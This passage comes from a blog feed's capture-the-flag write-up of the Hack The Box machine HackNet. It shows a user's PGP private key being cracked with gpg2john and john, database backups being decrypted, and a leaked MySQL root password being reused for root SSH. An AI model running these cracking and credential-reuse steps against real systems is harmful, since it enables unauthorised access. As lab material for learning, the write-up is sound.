 FF6DA43A1D706BC5B30E6A960C1AC84FBC3F196656CC7CFBFD65F823138388600E09FC
 A09E67ACD3086A07041504A398D8A50BC705243F601FA01E905BAA2921C9602CEF75AB
 EEE67B3124104DAA44D50BF305ED7A3299206D7EBF59747D58AACD4837951DDA6594FF
 1AF403472DF56CF39CDD08510CE70E179F4F1069428ABEA4C2747547E0ABF632BCA572
 C45DFC475E91983277B08A55F0471B306D61601EC0546DE8EC7053B4101A32F53F9CCF
 7F372511F1BDA639D98DFCB06036B9DF5B8C527E859593009C4463313269D2ED6329EE
 E13AE3034F9B67E97531FD85C8A8E07C0BD9FE776E64F77E7AF42A4BADE8F80DA17963
 06C9E4F06CD9EA59AB65279E7D8C34795A14E316F5#)(protected-at
  "20241229T214648")))</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">armored_key.asc</code> is a PGP private key block.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~/.gnupg/private-keys-v1.d</span><span class="linux-char">$</span></span> <span class="linux-bash">cat armored_key.asc</span>

<span class="linux-output">-----BEGIN PGP PRIVATE KEY BLOCK-----

lQIGBGdxrxABBACuOrGzU2PoINX/6XsSWP9OZuFU67Bf6qhsjmQ5CcZ340oNlZfl
LsXqEywJtXhjWzAd5Juo0LJT7fBWpU9ECG+MNU7y2Lm0JjALHkIwq4wkGHJcb5AO
949lXlA6aC/+CuBm/vuLHtYrISON7LyUPAycmf8wKnE7nX9g4WY000k8ywARAQAB
/gcDAoUP+2418AWL/9s1vSnZ9ABrtqXgH1gmjZbbfm0WWh2G9DJ2pKYamGVVijtn
..SNIP..
XB+hnBL3YBgEAKsNo9aR7rfIaBdXAI1lFWsfBDuV28mTo8RgoE40rg+U4a2vPJAt
DZNUnvaugNdG2nNkX1b4U+fNJMR07GCAJIGVrQojqnSVCKYjI4Et7VtRIlOI7Bmr
UWLDskLCqTD33o4VOV3IITVkQc9KktjhI74C7kZrOr7v07yuegmtzLi+
=wR12
-----END PGP PRIVATE KEY BLOCK-----</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>It’s protected by a passphrase, which can be recovered by <code class="language-plaintext highlighter-rouge">john</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">gpg2john armored_key.asc &gt; hash.txt</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</span>
<span class="cmd-output">
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<span style="color: lightgreen;">sweetheart       (Sandy)     </span>
1g 0:00:00:01 DONE (2025-12-26 03:04) 0.7042g/s 304.2p/s 304.2c/s 304.2C/s gandako..nicole1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="gpg-decrypt">GPG Decrypt:</h3>

<p>With the passphrase recovered, I’ll decrypt the database dump files found earlier.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">gpg -d --home /home/sandy/.gnupg/ /var/www/HackNet/backups/backup01.sql.gpg  &gt; backup01.sql</span>

<span class="linux-output">gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) &lt;sandy@hacknet.htb&gt;"</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">gpg -d --home /home/sandy/.gnupg/ /var/www/HackNet/backups/backup02.sql.gpg  &gt; backup02.sql</span>

<span class="linux-output">gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) &lt;sandy@hacknet.htb&gt;"</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">gpg -d --home /home/sandy/.gnupg/ /var/www/HackNet/backups/backup03.sql.gpg  &gt; backup03.sql</span>

<span class="linux-output">gpg: keydb_search failed: No such file or directory
gpg: encrypted with RSA key, ID FC53AFB0D6355F16
gpg: decryption failed: No secret key</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Only the first two decrypted successfully. In <code class="language-plaintext highlighter-rouge">backup02.sql</code>, there’s a root password.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">..</span><span class="n">SNIP</span><span class="p">..</span>
<span class="k">LOCK</span> <span class="n">TABLES</span> <span class="nv">`SocialNetwork_socialmessage`</span> <span class="k">WRITE</span><span class="p">;</span>
<span class="cm">/*!40000 ALTER TABLE `SocialNetwork_socialmessage` DISABLE KEYS */</span><span class="p">;</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="nv">`SocialNetwork_socialmessage`</span> <span class="k">VALUES</span>
<span class="p">..</span><span class="n">SNIP</span><span class="p">..</span>
<span class="p">(</span><span class="mi">47</span><span class="p">,</span><span class="s1">'2024-12-29 20:29:36.987384'</span><span class="p">,</span><span class="s1">'Hey, can you share the MySQL root password with me? I need to make some changes to the database.'</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">22</span><span class="p">,</span><span class="mi">18</span><span class="p">),</span>
<span class="p">(</span><span class="mi">48</span><span class="p">,</span><span class="s1">'2024-12-29 20:29:55.938483'</span><span class="p">,</span><span class="s1">'The root password? What kind of changes are you planning?'</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">18</span><span class="p">,</span><span class="mi">22</span><span class="p">),</span>
<span class="p">(</span><span class="mi">49</span><span class="p">,</span><span class="s1">'2024-12-29 20:30:14.430878'</span><span class="p">,</span><span class="s1">'Just tweaking some schema settings for the new project. Won’t take long, I promise.'</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">22</span><span class="p">,</span><span class="mi">18</span><span class="p">),</span>
<span class="p">(</span><span class="mi">50</span><span class="p">,</span><span class="s1">'2024-12-29 20:30:41.806921'</span><span class="p">,</span><span class="s1">'Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.'</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">18</span><span class="p">,</span><span class="mi">22</span><span class="p">),</span>
<span class="p">..</span><span class="n">SNIP</span><span class="p">..</span>
</code></pre></div></div>
<p><br /></p>

<p>Reusing that for root login works.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh root@hacknet.htb</span>
<span class="cmd-output">
Warning: Permanently added 'hacknet.htb' (ED25519) to the list of known hosts.
root@hacknet.htb's password: 
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec 25 12:13:46 2025 from 10.10.14.79
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">root@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=0(root) gid=0(root) groups=0(root)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">cat root.txt</span>

<span class="linux-output">606e0a8a************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Linux" /><category term="Medium" /><summary type="html"><![CDATA[HackNet is all about exploiting a Django application. It starts with a server-side template injection in the username. While getting RCE directly is not possible, it does allow leaking internal context variables, which includes credentials that can be reused for SSH login. Once on the box, I’ll find the Django cache directory is world-writable, which enables a deserialization attack to get to another user. From there, I’ll find private keys to decrypt several GPG-encrypted database dumps, one of which contains the root password.]]></summary></entry><entry><title type="html">HTB Machine - FriendZone</title><link href="https://ch3ng625.github.io//friendzone" rel="alternate" type="text/html" title="HTB Machine - FriendZone" /><published>2025-11-23T00:00:00+00:00</published><updated>2025-11-23T00:00:00+00:00</updated><id>https://ch3ng625.github.io//friendzone</id><content type="html" xml:base="https://ch3ng625.github.io//friendzone"><![CDATA[<h2 id="summary">Summary:</h2>
